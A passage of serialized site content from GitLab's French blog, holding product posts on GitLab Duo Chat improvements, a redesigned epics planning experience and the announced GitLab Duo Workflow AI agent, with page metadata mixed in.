vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability) et la [résolution des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution) de GitLab Duo seront bientôt disponibles dans GitLab Auto-géré et GitLab Dedicated.\n\n> Démarrez [un essai gratuit de GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) pour profiter des avantages de la correction des vulnérabilités au sein de votre entreprise !\n\n#### En savoir plus sur le « Développement de GitLab Duo »\n- [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Comment nous utilisons nos propres fonctionnalités d'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n\n- [L'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n\n- [Tour d'horizon des dernières améliorations de GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements/)",[699,673,676,675,1069],"2024-08-02",{"slug":2659,"featured":92,"template":683},"developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","content:fr-fr:blog:developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","Developing Gitlab Duo Use Ai To Remediate Security Vulnerabilities","fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"_path":2665,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2666,"content":2672,"config":2682,"_id":2684,"_type":16,"title":2685,"_source":17,"_file":2686,"_stem":2687,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"title":2667,"description":2668,"ogTitle":2667,"ogDescription":2668,"noIndex":6,"ogImage":2669,"ogUrl":2670,"ogSiteName":841,"ogType":842,"canonicalUrls":2670,"schema":2671},"GitLab Duo : les dernières améliorations de GitLab Duo Chat","Découvrez les dernières améliorations de GitLab Duo Chat, notamment une nouvelle intégration, l'annulation des prompts et des mises à niveau architecturales.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098374/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098374059.png","https://about.gitlab.com/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : tour d'horizon des dernières améliorations de GitLab Duo Chat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jannik Lehmann\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-07-10\",\n      }\n                  ",{"title":2673,"description":2674,"authors":2675,"heroImage":2669,"date":2678,"body":2679,"category":697,"tags":2680,"updatedDate":2681},"GitLab Duo : tour d'horizon des dernières améliorations de GitLab Duo Chat","Découvrez les dernières améliorations apportées à GitLab Duo Chat, notamment une nouvelle intégration, l'annulation des prompts et des mises à niveau architecturales.",[2676,2677],"Jannik Lehmann","David O'Regan","2024-07-10","GitLab s'engage à [améliorer en permanence GitLab Duo Chat](https://gitlab.com/gitlab-org/gitlab/-/issues/430124), notre assistant d'IA, pour répondre aux besoins en constante évolution de nos utilisateurs. Voici quelques améliorations récentes qui simplifieront votre workflow et amélioreront votre productivité.\n\n## Explication des vulnérabilités : une nouvelle intégration\n\nNous avons franchi une étape importante dans l'évolution de GitLab Duo Chat : l'intégration de [l'explication des vulnérabilités de GitLab Duo](https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/). Il s'agit de la première fonctionnalité de notre plateforme [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) à être intégrée à GitLab Duo Chat par une équipe externe au groupe dédié à l'IA, mettant ainsi en valeur l'esprit de collaboration et les capacités interfonctionnelles de GitLab.\n\n### Principaux points forts de cette intégration :\n\n- **Une exécution rapide :** l'équipe est passée d'une phase d'exploration à la mise en œuvre de cette fonctionnalité en seulement trois semaines, démontrant ainsi une grande agilité et vitesse d'exécution.\n- **Une collaboration entre les équipes :** cette intégration a été menée par des équipes externes au groupe dédié à l'IA, ouvrant ainsi la voie à des intégrations de fonctionnalités plus diversifiées à l'avenir.\n- **Une meilleure compréhension des risques liés à la sécurité :** les utilisateurs pourront bientôt utiliser GitLab Duo Chat pour mieux comprendre les failles de sécurité détectées dans leurs projets.\n\nCette intégration représente une étape importante pour faire de GitLab Duo Chat un outil encore plus puissant et polyvalent pour les équipes de développement, en particulier dans le domaine de la sécurité.\n\n## Prise en compte améliorée du contexte\n\nNous avons réalisé des progrès significatifs au niveau de la compréhension du contexte par GitLab Duo Chat, ce qui rend cet assistant alimenté par l'IA plus intelligent et utile dans divers scénarios.\n\n### Disponibilité des connaissances\n\nGitLab Duo Chat a constamment accès aux éléments suivants :\n- la [documentation de GitLab](https://docs.gitlab.com/ \"documentation de GitLab\") ;\n- des connaissances générales sur la programmation et le codage.\n\nIl est important de noter que GitLab Duo Chat ne dispose pas d'un accès illimité à l'ensemble de votre instance ou de votre code base GitLab. Il peut donc uniquement traiter les informations spécifiques que vous fournissez dans votre requête ou celles qui sont immédiatement pertinentes pour le contenu de votre vue actuelle dans l'IDE ou l'interface utilisateur de GitLab.\n\nNous nous efforçons en permanence d'étendre la connaissance contextuelle de GitLab Duo Chat en incluant davantage de types de contenu, en mettant toujours l'accent sur la protection de la vie privée des utilisateurs et la sécurité des données. Cette diversification progressive vise à faire de GitLab Duo Chat un assistant encore plus puissant pour votre workflow de développement, tout en garantissant des limites d'accès aux données appropriées.\n\n### Connaissances contextuelles améliorées\n\nGitLab Duo Chat dispose désormais [d'une meilleure compréhension du contexte de votre projet](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#the-context-chat-is-aware-of), à la fois dans les IDE et l'interface utilisateur de GitLab. Voici quelques exemples de ce que GitLab Duo Chat est capable de comprendre.\n\nDans l'interface utilisateur de GitLab :\n- **Les epics** : GitLab Duo Chat comprend quand vous faites référence à « cette epic » ou utilisez l'URL de l'epic.\n- **Les tickets** : similaire aux epics, GitLab Duo Chat reconnaît « ce ticket » ou l'URL du ticket.\n- **Les fichiers de code** : lorsqu'un seul fichier est affiché, GitLab Duo Chat sait interpréter les requêtes concernant « ce code » ou « ce fichier ».\n\nDans les IDE :\n- **Le code sélectionné** : GitLab Duo Chat analyse le code que vous avez sélectionné lorsque vous posez des questions sur « ce code » ou « ce fichier ».\n- **Les epics et les tickets** : GitLab Duo Chat est capable de comprendre leur contexte si vous fournissez l'URL.\n\nDe plus, lorsque vous utilisez des commandes slash comme `/explain`, `/refactor` ou `/tests` dans les IDE, GitLab Duo Chat a accès au code sélectionné.\n\n![Capture d'écran de la fenêtre GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098382107.png)\n\n### Historique et mise en cache des discussions\nGitLab Duo Chat conserve les 50 derniers messages échangés dans l'historique de discussions. Cet historique expire trois jours après la dernière utilisation. La fermeture de votre navigateur ou de votre IDE ne supprimera pas définitivement votre historique tant que le délai spécifié n'est pas dépassé. Cependant, il est important de noter que la conservation à long terme des données de chat n'est actuellement pas disponible.\n\n## Annulation des prompts : arrêt des réponses à la demande\n\nL'une des fonctionnalités les plus attendues est désormais disponible : [l'annulation des prompts](https://gitlab.com/groups/gitlab-org/-/epics/13662). Vous pouvez désormais annuler les prompts en cours de GitLab Duo Chat sur la plateforme GitLab.com. Cette fonctionnalité vous offre [un plus grand contrôle sur vos interactions](https://gitlab.com/gitlab-org/gitlab/-/issues/458397).\n- __Disponibilité immédiate :__ cette fonctionnalité est d'ores et déjà déployée sur la plateforme GitLab.com.\n- __Disponibilité prochaine :__ cette fonctionnalité sera disponible pour les instances auto-gérées dans notre prochaine version. Elle sera fournie aux utilisateurs de GitLab Dedicated à l'occasion de la mise à niveau mensuelle.\n- __En cours :__ [intégration pour les extensions de certains éditeurs de code](https://docs.gitlab.com/ee/editor_extensions/) ; suivez l'avancement du projet [via ce ticket](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/issues/335).\n\nCette amélioration vous permet d'annuler une réponse si vous avez soumis votre prompt trop rapidement ou si vous avez changé d'avis. Cette fonctionnalité à priori mineure peut cependant vous faire gagner du temps et vous éviter toute frustration.\n\nPour annuler un prompt dans GitLab Duo Chat, procédez comme suit :\n1. Ouvrez GitLab Duo Chat dans GitLab.com.\n2. Commencez à saisir votre prompt ou votre question, par exemple « De quoi parle ce ticket ? ».\n\n![Écran montrant le début de la procédure d'annulation des prompts dans GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098382108.png)\n\n3. Après avoir envoyé votre prompt, si vous souhaitez annuler la réponse, recherchez le nouveau bouton « Annuler » qui apparaît pendant que GitLab Duo Chat génère une réponse.\n\n![Capture d'écran du bouton Annuler dans GitLab Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098382110.png)\n\n4. Cliquez sur le bouton « Annuler » pour suspendre immédiatement le processus de génération de la réponse.\n\n![Capture d'écran montrant l'annulation de la réponse](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098382112.png)\n\n## Améliorations de l'architecture de GitLab Duo Chat \n\nNous avons également apporté des améliorations à l'architecture de GitLab Duo Chat pour rendre cette fonctionnalité plus robuste et plus efficace :\n\n- Le passage au protocole Language Server Protocol ([LSP](https://gitlab.com/gitlab-org/editor-extensions/gitlab-lsp)) permet d'améliorer l'intégration de GitLab Duo Chat dans divers environnements de développement. \n- Le Language Server de GitLab est un projet TypeScript expérimental qui fournit une interface commune pour que les extensions IDE intègrent les fonctionnalités de GitLab. Il prend actuellement en charge les suggestions de code de GitLab Duo et à l'avenir prendra aussi en charge GitLab Duo Chat.\n\nBien que ce changement concerne principalement l'architecture sous-jacente, les utilisateurs peuvent constater :\n- une amélioration de la réactivité et des performances lors de l'utilisation de GitLab Duo Chat sur différents IDE et éditeurs ;\n- un comportement plus cohérent des fonctionnalités de GitLab Duo Chat dans divers environnements de développement ;\n- une plus grande capacité pour l'ajout de nouvelles fonctionnalités et améliorations à l'avenir.\n\nDécouvrez dans la vidéo ci-dessous la façon dont le Language Server de GitLab alimente les suggestions de code :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VQlWz6GZhrs?si=_G5mOyYqEGAmnRv4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Et après ?\n\nNous cherchons sans cesse à améliorer GitLab Duo Chat. Voici quelques exemples de projets en cours :\n\n- Nous migrons actuellement nos fonctionnalités d'IA vers [Claude 3.5 Sonnet](https://gitlab.com/gitlab-org/gitlab/-/issues/468334). Cette mise à niveau améliorera les performances et les capacités de GitLab Duo Chat et d'autres fonctionnalités alimentées par l'IA.\n- Nous travaillons activement pour que [GitLab Duo Chat puisse fonctionner avec des modèles personnalisés et auto-hébergés](https://gitlab.com/groups/gitlab-org/-/epics/13760). Les entreprises pourront ainsi utiliser leurs propres modèles d'IA avec Duo Chat, ce qui leur permettra d'avoir plus de contrôle sur la base de connaissances de l'IA et d'améliorer potentiellement les performances de tâches spécifiques à leur domaine.\n- Nous finalisons actuellement le processus de [synchronisation des messages entre différentes interfaces](https://gitlab.com/gitlab-org/gitlab/-/issues/418760), y compris l'interface web (WebUI). L'objectif est de garantir une communication fluide et cohérente, améliorant ainsi votre expérience de collaboration en veillant à ce que vous ayez accès aux mêmes informations peu importe le dispositif que vous utilisez.\n- Nous [migrons la fonctionnalité de « Résumé des commentaires » vers GitLab Duo Chat](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/156650). Il sera bientôt possible de résumer plusieurs commentaires d'un ticket directement dans Duo Chat, ce qui vous permettra de comprendre plus rapidement les points et enseignements clés des discussions, et d'améliorer votre expérience collaborative.\n\nNous avons hâte de [connaître votre avis sur ces améliorations](https://gitlab.com/gitlab-org/gitlab/-/issues/430124). Retrouvez-nous bientôt pour découvrir d'autres innovations et améliorations liées à GitLab Duo Chat.  \n\n#### En savoir plus sur le « Développement de GitLab Duo »\n- [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Comment nous utilisons nos propres fonctionnalités d'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n\n- [L'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n",[699,675,676],"2024-08-01",{"slug":2683,"featured":92,"template":683},"developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","content:fr-fr:blog:developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","Developing Gitlab Duo A Roundup Of Recent Chat Enhancements","fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"_path":2689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2690,"content":2695,"config":2702,"_id":2704,"_type":16,"title":2705,"_source":17,"_file":2706,"_stem":2707,"_extension":20},"/fr-fr/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"ogTitle":2691,"schema":2692,"ogImage":2607,"ogDescription":2693,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2694,"title":2691,"canonicalUrls":2694,"description":2693},"Epics : améliorez la planification Agile avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Epics : une nouvelle expérience pour une meilleure planification Agile avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-03\",\n      }","La nouvelle expérience des epics améliore la planification de vos workflows et offre une migration fluide pour une meilleure gestion de projet.","https://about.gitlab.com/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"heroImage":2607,"body":2696,"authors":2697,"updatedDate":2698,"date":2699,"title":2700,"tags":2701,"description":2693,"category":1480},"Dans notre démarche continue d'amélioration de l'expérience de planification Agile dans GitLab, nous avons [dévoilé il y a quelques mois un nouveau design](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/). Cette mise à jour contribue à notre effort global visant à vous proposer un outil de planification unifié, flexible et adapté à vos besoins. \n\nCet article explore un élément clé de ce projet : la nouvelle expérience des epics. Examinons ensemble cette nouvelle expérience, ainsi que les raisons derrière ces changements visant à améliorer vos capacités de gestion de projet.\n\n## Quels sont les avantages de cette nouvelle expérience ?\n\n### À l'écoute de nos utilisateurs\n\nNotre mission est de vous offrir une expérience de planification Agile complète. C'est pourquoi nous restons constamment à votre écoute. Certains utilisateurs nous ont signalé des difficultés liées à la mise en œuvre actuelle des epics, telles que des fonctionnalités incohérentes entre les epics et les tickets, ou encore des problèmes de flexibilité avec divers workflows. Certains points de friction concernent les outils de workflow, notamment l'absence de personnes assignées au niveau des epics et le manque de modèles réutilisables. Notre nouvelle expérience élimine ces points de friction et offre une planification Agile plus intuitive et efficace.\n\n### Un framework unifié pour les éléments de travail\n\nPour résoudre ces problèmes, nous avons mis en place un framework unifié pour les éléments de travail. Cette nouvelle architecture assure la cohérence entre tous les objets liés à la planification (epics, tickets et tâches) et permet de simplifier l'expérience utilisateur et de la rendre plus fonctionnelle. En consolidant le code sous-jacent, nous pouvons fournir de nouvelles fonctionnalités et des améliorations plus rapidement, pour un processus de planification plus fluide et plus fiable.\n\n> Découvrez [toutes les nouveautés de la planification Agile dans GitLab](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/).\n\n## Quelles sont les caractéristiques clés de cette nouvelle expérience ?\n\n### Une page de détails améliorée\n\nL'un des changements les plus importants est la refonte de la page de détails des epics. Son nouveau design offre une interface plus propre et plus intuitive, ce qui facilite la gestion et le suivi de vos epics.\n\nVoici quelques-unes des nouvelles fonctionnalités clés :\n\n* **Assignés** : attribuez des epics aux membres de votre équipe pour améliorer la responsabilisation et la supervision.\n* **Indicateurs de progression** : évaluez en un coup d'œil le statut de vos epics grâce à ces nouveaux indicateurs.\n* **Suivi du temps** : profitez d'une meilleure visibilité sur le temps consacré aux projets et favorisez une utilisation plus efficace des ressources.\n* **Ascendance** : consultez l'origine hiérarchique complète de vos epics.\n* **Description condensée** : consultez facilement de longues descriptions d'éléments de travail sans perdre de temps à parcourir toutes les informations. Les descriptions sont tronquées par défaut mais peuvent être affichées complètement à l'aide du lien « Afficher plus ». Votre workflow est ainsi simplifié : vous pouvez rapidement consulter les descriptions et les développer uniquement en cas de besoin, ce qui permet de réduire l'encombrement et d'améliorer la lisibilité.\n* **Couleur personnalisée** : vous pouvez désormais personnaliser la couleur des epics qui apparaissent sur la roadmap en définissant une couleur personnalisée, en utilisant des codes hexadécimaux ou RVB, ou en choisissant une couleur dans une palette prédéfinie étendue. \n\n![capture d'écran de la nouvelle expérience épique](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674437/Blog/Content%20Images/Screenshot_2024-07-10_at_4.22.45_p.m..png)\n\n### Une cohérence entre les objets de planification\n\nLa nouvelle expérience des epics s'aligne étroitement avec la nouvelle expérience des tickets et des tâches, offrant ainsi une expérience utilisateur homogène et cohérente. Cette cohérence permet de simplifier les workflows et d'accélérer la prise en main de l'outil pour les nouveaux utilisateurs.\n\n### Des fonctionnalités supplémentaires\n\nNous prévoyons d'ajouter de manière itérative de nouvelles fonctionnalités qui amélioreront vos capacités de planification. Notre objectif est de vous permettre d'adapter les processus de planification dans GitLab pour répondre au mieux aux besoins spécifiques de votre entreprise. La nouvelle expérience des epics n'est qu'un début ! Vous pouvez vous attendre à découvrir des fonctionnalités supplémentaires à chaque nouvelle version. Voici quelques exemples de fonctionnalités à venir :\n\n* [Modèles](https://gitlab.com/gitlab-org/gitlab/-/issues/428690)\n* [Champs personnalisés](https://gitlab.com/groups/gitlab-org/-/epics/235)\n* [Statuts configurables](https://gitlab.com/groups/gitlab-org/-/epics/5099)\n* [Epics au niveau du projet](https://gitlab.com/gitlab-org/gitlab/-/issues/31840)\n* [Clonage](https://gitlab.com/gitlab-org/gitlab/-/issues/339768)\n* [Passage à un autre groupe/projet](https://gitlab.com/gitlab-org/gitlab/-/issues/339766)\n* [Jalons](https://gitlab.com/groups/gitlab-org/-/epics/329)\n\n## Déroulement de la migration\n\nNous comprenons que tout changement peut être perturbant. C'est la raison pour laquelle nous avons conçu une migration aussi simple que possible vers la nouvelle expérience des epics. Toutes les données, API et URL existantes liées aux epics continueront de fonctionner comme prévu. Aucune mesure ne sera donc nécessaire pour se préparer à cette transition. Les utilisateurs de l'édition GitLab Self-Managed peuvent découvrir la nouvelle expérience en avant-première dans un environnement de test : [en savoir plus](https://docs.gitlab.com/ee/user/group/epics/epic_work_items.html).\n\n## Retours et engagement de la communauté\n\nComme toujours, nous apprécions votre contribution et vous encourageons à nous faire part de votre avis sur la nouvelle expérience des epics. Vos retours sont essentiels pour nous aider à affiner et à améliorer nos outils. N'hésitez pas à consulter notre [ticket regroupant les retours sur l'expérience des epics](https://gitlab.com/gitlab-org/gitlab/-/issues/463598) pour nous faire part de vos réflexions et suggestions.\n\n## Ce qui vous attend\n\nLa nouvelle expérience des epics dans GitLab représente une avancée importante dans le cadre de nos capacités de planification Agile. Grâce à des fonctionnalités avancées, une cohérence améliorée et une approche centrée sur l'utilisateur, nous sommes convaincus que ces changements seront un atout clé pour vos processus de gestion de projet. Nous vous invitons à explorer les nouvelles fonctionnalités et à nous faire part de vos retours. Retrouvez-nous bientôt pour découvrir d'autres innovations et améliorations.",[1477],"2024-11-07","2024-07-03","Epics : une nouvelle expérience pour une meilleure planification Agile avec GitLab",[1482,1067,675,676,853],{"slug":2703,"featured":6,"template":683},"unveiling-a-new-epic-experience-for-improved-agile-planning","content:fr-fr:blog:unveiling-a-new-epic-experience-for-improved-agile-planning.yml","Unveiling A New Epic Experience For Improved Agile Planning","fr-fr/blog/unveiling-a-new-epic-experience-for-improved-agile-planning.yml","fr-fr/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"_path":2709,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2710,"content":2715,"config":2720,"_id":2722,"_type":16,"title":2723,"_source":17,"_file":2724,"_stem":2725,"_extension":20},"/fr-fr/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"title":2711,"description":2712,"ogTitle":2711,"ogDescription":2712,"noIndex":6,"ogImage":1004,"ogUrl":2713,"ogSiteName":841,"ogType":842,"canonicalUrls":2713,"schema":2714},"GitLab Duo Workflow et l’avenir du développement logiciel piloté par l’IA","GitLab Duo Workflow, notre agent d'IA autonome, est en passe de révolutionner la manière dont les équipes créent et déploient des logiciels.","https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Workflow et l’avenir du développement logiciel piloté par l’IA\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-06-27\",\n      }",{"title":2711,"description":2712,"authors":2716,"heroImage":1004,"date":2717,"body":2718,"category":697,"tags":2719,"updatedDate":2699},[1274],"2024-06-27","Du code qui s’écrit tout seul ? Une telle solution relève encore du rêve, mais elle pourrait bientôt devenir réalité. Grâce aux progrès continus des grands modèles linguistiques (LLM) et à la plateforme DevSecOps unifiée et pilotée par l'IA de GitLab, cet avenir se dessine rapidement. Lors de notre [événement de lancement de GitLab 17](https://about.gitlab.com/fr-fr/seventeen/), nous vous avons présenté GitLab Duo Workflow, un agent d'IA autonome, capable de transformer la manière dont les équipes construisent, sécurisent, déploient et surveillent les logiciels. \n\nGitLab Duo Workflow dépasse l’usage actuel des assistants d'IA réactifs, basés sur des prompts, en s'intégrant pleinement aux équipes et en contribuant de manière proactive à optimiser chaque aspect du cycle du développement logiciel. Workflow se distingue en tirant parti du magasin de données unifié de GitLab, qui connecte, de manière fluide, l'ensemble des données, des projets, des dépôts et de la documentation. Il devient ainsi un agent intelligent, toujours disponible, qui surveille en permanence vos projets : il anticipe les problèmes potentiels dans l'environnement de production, identifie et corrige automatiquement les failles de sécurité, optimise vos applications pour des performances optimales et accélère l'intégration des nouveaux membres de l'équipe. Le tout, en créant rapidement des environnements de développement à distance personnalisés.\n\nL'IA transforme la création de logiciels sécurisés, leur maintenance, leur mise à jour, leur déploiement et leur surveillance. Elle permet aux entreprises de développer plus de logiciels qu'elles n'auraient pu l'imaginer auparavant. Nous souhaitons offrir une approche DevSecOps pilotée par l'AI et GitLab Duo Workflow marque la première étape de notre parcours ambitieux. En effet, notre objectif est de permettre aux développeurs de se concentrer sur la résolution de problèmes, l'innovation et la création de valeur. [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) gère quant à lui les tâches répétitives et optimise les processus en arrière-plan.\n\n## La vision de GitLab Duo Workflow\nAvec GitLab Duo Workflow, nous vous offrons la possibilité d'automatiser et d'optimiser intégralement votre processus de développement logiciel pour plusieurs cas d'utilisation essentiels.\n### 1. Un développement automatisé\n\nGitLab Duo Workflow s'intègre directement à l'IDE, facilitant ainsi la planification et la priorisation des tâches selon les projets individuels et les processus organisationnels. Sur la base d'un élément de travail donné (epic, ticket ou tâche), Workflow établit un plan de mise en œuvre que les développeurs peuvent ensuite reprendre et affiner. Workflow passe ensuite en revue le plan, et génère ou réécrit le code afin d'atteindre et de satisfaire les exigences définies. Pour ce faire, le processus se déroule dans un [espace de travail de développement à distance de GitLab](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), ce qui permet à Workflow d'évaluer, d'écrire et de tester les modifications de code en toute sécurité. Ce processus permet également de s'assurer que le code produit par Workflow répond parfaitement aux exigences et qu'il passe tous les tests du pipeline CI, y compris les scans de sécurité. En cas d'échec du pipeline, Workflow traite automatiquement les problèmes et les résout si nécessaire. Il veille à ce que seul un code de haute qualité, conforme aux normes de votre entreprise, soit créé, validé et intégré à vos projets.\n\nLorsque le code est prêt, Workflow crée automatiquement une merge request (requête de fusion) comprenant les modifications de code et suit les processus d'approbation de cette requête. Cela comprend les interactions avec le réviseur ou le chargé de maintenance responsable de valider le code. Vous pouvez même demander à Workflow de procéder à une revue de votre code et de commenter vos merge requests, comme le ferait un réviseur de code humain. Mieux encore, Workflow mettra en œuvre ses suggestions à votre demande. Et ce n'est que le début.\n\n### 2. Une amélioration continue intelligente\nGitLab Duo Workflow analyse votre codebase en temps réel. Il suggère des optimisations d'architecture afin d'améliorer l'efficacité, d'accroître les performances et de réduire les coûts. Il identifie les opportunités de réusinage du code de manière proactive pour favoriser l'évolutivité et s'attaque également à la dette technique en suggérant des modifications aux développeurs ou en les mettant en œuvre automatiquement dans un environnement sandbox. En outre, Workflow utilise des capacités d'automatisation pour ajuster automatiquement l'allocation et l'utilisation des ressources cloud en fonction des besoins fluctuants de vos projets de développement logiciel, afin de s'assurer que vos applications atteignent toujours leurs objectifs de performance.\n\n### 3. Une sécurité et une conformité proactives\nLa sécurité et la conformité sont des priorités absolues pour toute entreprise. GitLab Duo Workflow invite automatiquement et en temps réel les développeurs à appliquer des correctifs, à réusiner le code non sécurisé et à s'adapter aux nouvelles menaces. Notre agent évalue aussi en permanence les risques de sécurité associés à vos applications et à vos environnements de production. Si nécessaire, il vous guide pour mettre en œuvre des mesures d'atténuation.\n\n### 4. Une optimisation autonome des performances\nGitLab Duo Workflow intègre des boucles de rétroaction élaborées, qui permettent un apprentissage et une amélioration continus. En analysant les données des outils de surveillance, les interactions des utilisateurs et les résultats commerciaux, il peut affiner en continu sa vision de votre codebase. Cette démarche garantit l'alignement de l'architecture de vos applications sur les besoins de votre entreprise. Comme c'est le cas pour tous les agents d'IA, Workflow s'améliore constamment : à mesure qu'il devient partenaire à part entière de votre entreprise, il apprend à détecter et à corriger ses propres erreurs.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/967982166?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allowfullscreen=\"true\" title=\"GitLab Duo Workflow the future of AI-driven DevSecOps\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## L'avenir de l'IA est déjà à notre portée\nGitLab Duo Workflow représente une véritable avancée, car cette IA ne nécessite plus d'interventions humaines répétées. À la place, elle pilote les workflows et les processus de développement, en s'adressant aux humains lorsqu'elle en a besoin pour résoudre les problèmes. Grâce à l'interface DevSecOps unifiée et pilotée par l'IA de GitLab, les entreprises peuvent désormais développer une nouvelle génération d'applications propulsées par l'IA avec une rapidité, une efficacité et une innovation inégalées, tout en respectant les normes de sécurité et de conformité les plus rigoureuses. Et sans aucun compromis.\n\nNous continuons d'explorer de nouveaux horizons avec l'IA. Retrouvez-nous bientôt pour découvrir nos futures innovations et en savoir plus sur l'avenir de l'intelligence artificielle dans le DevSecOps. Façonnons ensemble l'avenir du DevSecOps piloté par l'IA et donnons à vos équipes les moyens de réaliser leur plein potentiel.\n\n> [Inscrivez-vous à notre liste d'attente](https://forms.gle/5ppRuNVb8LwSPNVJA), pour accéder au programme de pré-lancement de GitLab Duo Workflow. ",[699,1067,784,827,853],{"slug":2721,"featured":92,"template":683},"meet-gitlab-duo-workflow-the-future-of-ai-driven-development","content:fr-fr:blog:meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","Meet Gitlab Duo Workflow The Future Of Ai Driven 